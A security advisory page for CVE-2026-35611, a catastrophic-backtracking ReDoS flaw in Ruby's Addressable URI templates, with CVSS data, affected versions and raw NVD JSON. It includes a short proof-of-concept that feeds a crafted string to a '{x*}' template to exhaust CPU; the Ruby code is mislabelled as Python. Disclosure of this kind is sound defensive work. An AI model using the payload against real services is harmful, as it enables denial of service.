Security Vulnerability Report
中文
CVE-2026-35611 CVSS 7.5 HIGH

CVE-2026-35611

Published: 2026-04-07 17:16:35
Last Modified: 2026-04-15 17:20:28

Description

Addressable is an alternative implementation to the URI implementation that is part of Ruby's standard library. From 2.3.0 to before 2.9.0, within the URI template implementation in Addressable, two classes of URI template generate regular expressions vulnerable to catastrophic backtracking. Templates using the * (explode) modifier with any expansion operator (e.g., {foo*}, {+var*}, {#var*}, {/var*}, {.var*}, {;var*}, {?var*}, {&var*}) generate patterns with nested unbounded quantifiers that are O(2^n) when matched against a maliciously crafted URI. Templates using multiple variables with the + or # operators (e.g., {+v1,v2,v3}) generate patterns with O(n^k) complexity due to the comma separator being within the matched character class, causing ambiguous backtracking across k variables. When matched against a maliciously crafted URI, this can result in catastrophic backtracking and uncontrolled resource consumption, leading to denial of service. This vulnerability is fixed in 2.9.0.

CVSS Details

CVSS Score
7.5
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:a:addressable_project:addressable:*:*:*:*:*:ruby:*:* - VULNERABLE
Ruby Addressable >= 2.3.0, < 2.9.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
# PoC for CVE-2026-35611 # Vulnerable version: addressable < 2.9.0 require 'addressable/template' # Case 1: Template with * (explode) modifier # This generates a regex vulnerable to catastrophic backtracking template = Addressable::Template.new("{x*}") # Malicious payload designed to trigger O(2^n) complexity # A long string of characters without separators can cause severe backtracking payload = "a" * 50 puts "Sending malicious payload..." start = Time.now # This operation will hang and consume high CPU begin template.extract(payload) rescue => e puts e.message end puts "Time taken: #{Time.now - start} seconds"

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2026-35611", "sourceIdentifier": "[email protected]", "published": "2026-04-07T17:16:35.427", "lastModified": "2026-04-15T17:20:27.607", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Addressable is an alternative implementation to the URI implementation that is part of Ruby's standard library. From 2.3.0 to before 2.9.0, within the URI template implementation in Addressable, two classes of URI template generate regular expressions vulnerable to catastrophic backtracking. Templates using the * (explode) modifier with any expansion operator (e.g., {foo*}, {+var*}, {#var*}, {/var*}, {.var*}, {;var*}, {?var*}, {&var*}) generate patterns with nested unbounded quantifiers that are O(2^n) when matched against a maliciously crafted URI. Templates using multiple variables with the + or # operators (e.g., {+v1,v2,v3}) generate patterns with O(n^k) complexity due to the comma separator being within the matched character class, causing ambiguous backtracking across k variables. When matched against a maliciously crafted URI, this can result in catastrophic backtracking and uncontrolled resource consumption, leading to denial of service. This vulnerability is fixed in 2.9.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-1333"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:addressable_project:addressable:*:*:*:*:*:ruby:*:*", "versionStartIncluding": "2.3.0", "versionEndExcluding": "2.9.0", "matchCriteriaId": "0182812A-1858-487B-8F56-AF6DA7C4D951"}]}]}], "references": [{"url": "https://github.com/sporkmonger/addressable/security/advisories/GHSA-h27x-rffw-24p4", "source": "[email protected]", "tags": ["Mitigation", "Vendor Advisory"]}]}}